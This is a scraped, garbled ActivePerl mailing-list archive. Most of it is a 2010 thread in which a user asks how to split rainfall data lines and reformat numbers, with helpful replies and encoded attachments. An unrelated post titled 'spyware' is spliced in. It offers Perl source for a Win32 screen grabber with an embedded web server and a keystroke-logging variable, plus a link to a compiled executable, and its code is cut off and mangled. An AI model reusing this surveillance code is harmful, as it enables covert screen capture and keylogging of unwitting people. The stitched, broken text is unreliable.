Reading a line as an array

Hello Perl Community,
This mail was posted on gmail but may have been vetted by the moderator.
firstly my apologies for 1) a very basic question, 2) something I
should do in C.
1. I have rainfal data (attached as sample.txt) month by month in
mixed float and integer which I cannot handle in fortran. I need to
first rewrite the data all in real (float) before I can use fortran.
2. The perl script I have written read line by line, but then how do I
split the line into 31 values?
3. as it is, the script rewrites each line and does not change any int
into float, I tried printf (with format) it doesn't work.
Is it possible?
Assistance will be appreciated.
Zilore



_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

RE: Reading a line as an array

zilore mumba <> wrote:
> Hello Perl Community,
> This mail was posted on gmail but may have been vetted by the
> moderator.
> firstly my apologies for 1) a very basic question, 2) something I
> should do in C.
> 1. I have rainfal data (attached as sample.txt) month by month in
> mixed float and integer which I cannot handle in fortran. I need to
> first rewrite the data all in real (float) before I can use fortran.
> 2. The perl script I have written read line by line, but then how do
> I split the line into 31 values?
> 3. as it is, the script rewrites each line and does not change any
> int into float, I tried printf (with format) it doesn't work.
> Is it possible?
> Assistance will be appreciated.

I couldn't see any sign of your sample data.

It would also make it easier to help if you showed your code as well.

HTH

--
Brian Raven

Please consider the environment before printing this e-mail.

This e-mail may contain confidential and/or privileged information. If you are not the intended recipient or have received this e-mail in error, please advise the sender immediately by reply e-mail and delete this message and any attachments without retaining a copy.

Any unauthorised copying, disclosure or distribution of the material in this e-mail is strictly forbidden.
_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

RE: Reading a line as an array

On Tuesday, September 21, 2010 11:27 AM, zilore mumba wrote:

> Hello Perl Community,
> This mail was posted on gmail but may have been vetted by the
moderator.
> firstly my apologies for 1) a very basic question, 2) something I
> should do in C.
> 1. I have rainfal data (attached as sample.txt) month by month in
> mixed float and integer which I cannot handle in fortran. I need to
> first rewrite the data all in real (float) before I can use fortran.
> 2. The perl script I have written read line by line, but then how do I
> split the line into 31 values?
> 3. as it is, the script rewrites each line and does not change any int
> into float, I tried printf (with format) it doesn't work.
> Is it possible?
> Assistance will be appreciated.
> Zilore

Hello.

You should not consider doing this in C. It would be a lot more
work, and give you no benefit over doing it in Perl.

Your attachment did not reach the mailing list. Perhaps you
could post it online somewhere, and provide a link to it? Or try
sending it to the list again?

In general, you will probably want to:
Read each line into a string (via the -n command-line option, or
via the "diamond operator" <>)
Split each line into an array of values (via the -F command-line
option, or the split() operator)
Reformat each value, and output them (via printf).

So it looks like you have the right idea. Please try sending the
attachment again, and also please let us see what perl code you
have tried so far.

Yours,
Eric Roode



_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

spyware

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--===============0580734901==
Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature";
boundary="------------enig8AD56F60BDC82D9CE8EB1EFC"

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enig8AD56F60BDC82D9CE8EB1EFC
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

hooray for activeperl , Here is some code on how to write spy/audit
ware in perl for win32
par compiled exe at http://www.unix.gr/FLOSSeavesDrop.exe



#!wperl.exe
#
# System Remote Auditing Solution i.e. A screen grabber with an
embedded Web Server
# Open Source edition released under the BSD license.
# for multiscreen abilities and campus wide monitoring, contact me direct=
ly
#
# Angelos Karageorgiou angelos@unix.gr www.unix.gr
#

package Rautor;

use common::sense;
use IO::Select;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use HTTP::Request;
use Win32;
use Win32::API;
use Win32::GUI();
use Win32::GUI qw (WM_QUERYENDSESSION WM_ENDSESSION WM_CLOSE);
use Win32::GUI::DIBitmap;
use Win32::GuiTest qw|FindWindowLike IsWindowVisible GetWindowText
WMGetText IsKeyPressed GetAsyncKeyState|;
use Getopt::Long;
use threads;
use threads::shared;
use IO::Socket::INET;
use Win32::Process;

my $PORT=3D42000;
my $VERBOSE=3D'';
my $KEYLOG:shared=3D"";
my $TIP=3D"Insecure Live Session Monitor \nFor proper commercial grade
security software\nvisit http://www.unix.gr/rautor";
my $SLIDESBITS=3D16;
my $NumScreens=3D1;
my $SLEEP=3D3;


GetOptions (
'verbose' =3D> \$VERBOSE,
);

print "Port is $PORT\n" if ( $VERBOSE);

#primary
my $GetDC =3D new Win32::API('user32', 'GetDC', ['N'], 'N');
my $RelDC =3D new Win32::API('user32', 'ReleaseDC', [qw/N N/], 'I');
#Alternate
my $GetDW =3D new Win32::API('user32','GetDesktopWindow', [], 'N');
my $DESKTOP =3D $GetDW->Call();

my $imgFname=3D"screen.png";

our $user=3DWin32::LoginName();
our $Node=3DWin32::NodeName();
our $domain=3DWin32::DomainName();

my $RepeatHeader=3D"";

#my $RepeatHeader=3D" HEAD>\r\n
#

' . $Text . '

' . $Text . '

href=3D\"/monitor8bits\">[Monitor in 8-bit mode]	href=3D\"/scrape\">[Dump Textual Contents]	href=3D\"/monitor16bits\">[Monitor in 16-bit mode]
Keystrokes: $KEYLOG
w\"> # align=3Dcenter> #

name=3D"screen1" width=3D100% height=3D"100%" border=3D0>

Re: Reading a line as an array

--0-1078635349-1285132305=:95487
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Excuse me for the missing attachments. As I composed the mail in gmail whic=
h is =0Anot recognised on the mailing list. The attachments are now include=
d. ----- Original Message ----=0AFrom: "Roode, Eric" rack.com>=0ATo: activeperl@listserv.activestate.com=0ACc: zilore mumba mba@yahoo.com>=0ASent: Tue, September 21, 2010 4:36:19 PM=0ASubject: RE: Re=
ading a line as an array On Tuesday, September 21, 2010 11:27 AM, zilo=
re mumba wrote: > Hello Perl Community,=0A> This mail was posted on gm=
ail but may have been vetted by the=0Amoderator.=0A> firstly my apologies f=
or 1) a very basic question, 2) something I=0A> should do in C.=0A> 1. I ha=
ve rainfal data (attached as sample.txt) month by month in=0A> mixed float =
and integer which I cannot handle in fortran. I need to=0A> first rewrite t=
he data all in real (float) before I can use fortran.=0A> 2. The perl scrip=
t I have written read line by line, but then how do I=0A> split the line in=
to 31 values?=0A> 3. as it is, the script rewrites each line and does not c=
hange any int=0A> into float, I tried printf (with format) it doesn't work.=
=0A> Is it possible?=0A> Assistance will be appreciated.=0A> Zilore He=
llo. You should not consider doing this in C.=A0 It would be a lot mor=
e=0Awork, and give you no benefit over doing it in Perl. Your attachme=
nt did not reach the mailing list.=A0 Perhaps you=0Acould post it online so=
mewhere, and provide a link to it?=A0 Or try=0Asending it to the list again=
? In general, you will probably want to:   =A0 Read each line into=
a string (via the -n command-line option, or   =A0 =A0 =A0 via the "di=
amond operator" <>)   =A0 Split each line into an array of values (via =
the -F command-line   =A0 =A0 =A0 option, or the split() operator)=0A=
=A0 =A0 Reformat each value, and output them (via printf). So it looks=
like you have the right idea.=A0 Please try sending the=0Aattachment again=
, and also please let us see what perl code you=0Ahave tried so far. Y=
ours,=0AEric Roode ___________________________________________ __=
__=0AActivePerl mailing list=0AActivePerl@listserv.ActiveState.com=0ATo uns=
ubscribe: http://listserv.ActiveState.com/mailman/mysubs
--0-1078635349-1285132305=:95487
Content-Type: application/octet-stream; name="write_rn.pl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="write_rn.pl"

IyEvdXNyL2Jpbi9wZXJsIC13DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdz
Ow0KIw0KbXkgJGRlYnVnID0gMDsNCg0Kb3BlbihPVVQsICI8c2FtcGxlLnR4
dCIpIG9yIGRpZSAib3BlbiAnS2lnYWxpX3IudHh0JyBmYWlsZWQ6ICQhICgk
XkUpIjsNCm9wZW4oSU4sICI+c2FtcGxlX3RyLnR4dCIpIG9yIGRpZSAib3Bl
biAnS2lnYWxpX3RyLnR4dCcgZmFpbGVkOiAkISAoJF5FKSI7DQoNCmZvciAo
bXkgJGlpPTA7ICRpaSA8IDY7ICsrJGlpKSB7DQogICAgbXkgJGxpbmUgPSA8
T1VUPjsNCiAgICBjaG9tcCAkbGluZTsNCiAgICBwcmludCBJTiAiJGxpbmVc
biI7DQogICB9DQoNCndoaWxlICg8T1VUPikNCiAgew0KICAgIG15IEByYWlu
ID0gPE9VVD47IA0KICAgIHByaW50IElOICJAcmFpblxuIjsNCiAgIH0NCiBj
bG9zZSBPVVQ7DQogY2xvc2UgSU47DQoNCl9fRU5EX18NCg0K

--0-1078635349-1285132305=:95487
Content-Type: text/plain; name="sample.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sample.txt"

S0lHQUxJIEFFUk8JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ0K
UmFpbmZhbGwgKG1tKQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
DQpMQVQ6MDH4IDU4CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkN
CkxPTjowMzD4IDA4CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkN
CiJBbHQ6MSw0OTAuMCIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQ0KCURhdGUJMQkyCTMJNAk1CTYJNwk4CTkJMTAJMTEJMTIJMTMJMTQJMTUJ
MTYJMTcJMTgJMTkJMjAJMjEJMjIJMjMJMjQJMjUJMjYJMjcJMjgJMjkJMzAJ
MzENCgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDQoJMTk3MSAw
MQkxMS44CTAuNAkwCTAJMAkwCTAJMAkwLjEJMAkyLjkJMAk5LjQJMC4zCTAu
MgkwCTAJMAkwCTEuNwkwCTAJMAkwCTAJMAkwCTAuNQkwCTAJOC4xDQoJMTk3
MSAwMgk0LjMJMi4yCTAuNgk1LjkJMwkzLjMJMAkxMC43CTAJMAkwCTAJMAkw
CTAJMTUuMwkwCTAJMAkxLjcJMAk4LjgJMAkzLjIJMAkwCTAJNy4zCQkJDQoJ
MTk3MSAwMwkwCTAJMAkwCTAJMAkwCTAJMAkxLjEJMAkwCTMJMAkyLjkJMC41
CTUuNwkwCTYuNgkwCTAuMQkwCTAJMAkwLjkJMTAuNQkyLjQJMjUuMQkxMQkx
MwkyLjENCgkxOTcxIDA0CTEuNgkxOC40CTAJMC43CTguOAkwLjgJMS4zCTAJ
Mi43CTcJMC4xCTIwCTI1LjMJMC42CTIuNwk0CTAJNC44CTAuMQkzLjYJMTAu
MgkxMi45CTEuOAkwCTM2LjIJMC4xCTAJMC4xCTEuNgkwCQ0KCTE5NzEgMDUJ
MAkxMC45CTIuMQkwCTIuMwk4LjEJMC4zCTQuNAkxLjQJMAkwCTQuMwkwCTIx
LjkJNS42CTAuOQk0CTAJMTcuNAkwCTI5LjMJMTEuMwkwLjYJMAkwCTAJMAkw
CTAJMAk0LjINCgkxOTcxIDA2CTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJ
MAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCQ0KCTE5NzEgMDcJ
MAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTExCTEJMC4zCTAuMQkyLjUJ
MQkwLjMJMAkwCTAJMAkxLjQJMC4zCTAJMAkwCTANCgkxOTcxIDA4CTAJMAkw
CTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMS45CTAJMQkwCTUu
MwkwCTQ1LjEJMAkwCTAJMAkyLjgNCgkxOTcxIDA5CTAJMAkwCTE3CTAJMy41
CTEuOQkwCTAJMAkwCTMxLjYJMS45CTAuOQkwLjEJMi4zCTAJMC41CTAJMAkw
CTAJMAkwCTAJNC44CTEzLjcJMAkwLjcJMC41CQ0KCTE5NzEgMTAJMi40CTAu
NQkyLjUJMAkwCTAuMwkwCTAJMTYuNQkwCTQuMwk1LjUJMAkwCTAJMAkwCTAu
MwkxMQk1LjMJMAkwCTEuNQkwCTAJMy42CTAuOAkxLjkJMC4yCTAJMA0KCTE5
NzEgMTEJMS4zCTEzLjIJMAkwCTAJMAkwLjMJMAk0LjYJMAkwCTAuOQkxMS41
CTUuNAkwCTI1LjUJMAkyOS43CTAuNQkwCTEJMS44CTAJMy42CTIuMgkwLjYJ
MTQuNgk4LjYJMAkwCQ0KCTE5NzEgMTIJNi4zCTUuMwkxCTAJMAkwCTAJMAkw
CTEuOAkwCTAJMAkwCTAJNi43CTQuNQkwCTAJMAkwCTAJMAk0LjIJMjEuOQkw
CTAJMjguMwkwCTEwLjMJMi41DQo=

--0-1078635349-1285132305=:95487
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs
--0-1078635349-1285132305=:95487--

Re: Reading a line as an array

--===============1522163481==
Content-Type: multipart/alternative; boundary=00163646c44430fa3c0490d2a887

--00163646c44430fa3c0490d2a887
Content-Type: text/plain; charset=ISO-8859-1

On 22 September 2010 13:11, zilore mumba wrote:

> Excuse me for the missing attachments. As I composed the mail in gmail
> which is
> not recognised on the mailing list. The attachments are now included.
>
>
>
> ----- Original Message ----
> From: "Roode, Eric"
> To: activeperl@listserv.activestate.com
> Cc: zilore mumba
> Sent: Tue, September 21, 2010 4:36:19 PM
> Subject: RE: Reading a line as an array
>
> On Tuesday, September 21, 2010 11:27 AM, zilore mumba wrote:
>
> > Hello Perl Community,
> > This mail was posted on gmail but may have been vetted by the
> moderator.
> > firstly my apologies for 1) a very basic question, 2) something I
> > should do in C.
> > 1. I have rainfal data (attached as sample.txt) month by month in
> > mixed float and integer which I cannot handle in fortran. I need to
> > first rewrite the data all in real (float) before I can use fortran.
> > 2. The perl script I have written read line by line, but then how do I
> > split the line into 31 values?
> > 3. as it is, the script rewrites each line and does not change any int
> > into float, I tried printf (with format) it doesn't work.
> > Is it possible?
> > Assistance will be appreciated.
> > Zilore
>


I think you should name your filehandles the other way around - it would be
less confusing.

Anyway something like the below should work, but others may have more
elegant solutions.


while ()
{
my @rain = split; # default is to split on white space and $_

print IN "\t$rain[0]\t$rain[1]\t";
printf IN "%02.1f\t", $_ for @rain[ 2 .. $#rain ];
print IN qq{\n};
}

Just in

--00163646c44430fa3c0490d2a887
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable